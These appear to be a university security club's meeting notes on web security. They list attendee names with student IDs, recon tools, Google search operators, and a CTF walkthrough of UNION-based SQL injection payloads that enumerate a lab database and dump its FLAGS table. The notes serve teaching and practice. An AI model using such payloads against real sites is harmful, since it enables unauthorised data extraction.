###### tags: `1101`
:::success
社課簽到:
B093012033 王勤
B093040044 蔡明軒
B093040016 高聖傑
B094020037 黃子耘
B094020021 戴辰昊
B093011012 陳泯樺
M093010066 謝佳翰
M093140014 林昱辰
B084020052 曾雅鈺
B084020054 黃晏禎
B102040045 曾新惟
B105090021 簡辰豪
M083140005 曾煜鈞
B101030001 李新陽
M083140001 張郢展
:::
# 第五次社課
講者:林昱辰
主題:Web Security 2
[Slides](https://docs.google.com/presentation/d/1Fga3pklJiKEeSKpCAhpHFNzupOJtItCi/edit?usp=sharing&ouid=112369074538034056445&rtpof=true&sd=true)
[CTFd](http://140.117.176.121:9999)
## 情蒐
### Tools
+ dirb
+ dirsearch
### google hacks
+ intext: 網頁內文
+ intitle: 網頁標題
+ inurl: 網址
+ site: 特定網站
+ filetype: 檔案類型
## SQl injection
[orange](http://demo.orange.tw/sqli/)
### 盲測
## CTFd
### 公佈欄
http://140.117.176.121:10040/new.php?id=-1%20union%20select%201,2,@@version
```
# 查看資料庫版本
union select 1,2,@@version
# 查看資料庫(database)名稱
union select 1,2,database()
# 查看資料表(table)名稱,但只會回傳第一筆資料表
union select 1,database(),table_name from information_schema.tables where table_schema = database()
# 使用 group_concat 查看完整的資料表(table)名稱
union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = database()
# 查看欄位(column)名稱
union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'FLAGS'
# 查看 FLAGS 的內容
union select 1,database(),group_concat(flag) from FLAGS
```
>[name=_Cyris] 路邊撿到ㄉ
https://blog.eevee.tw/posts/nsysu-htcf-hw2/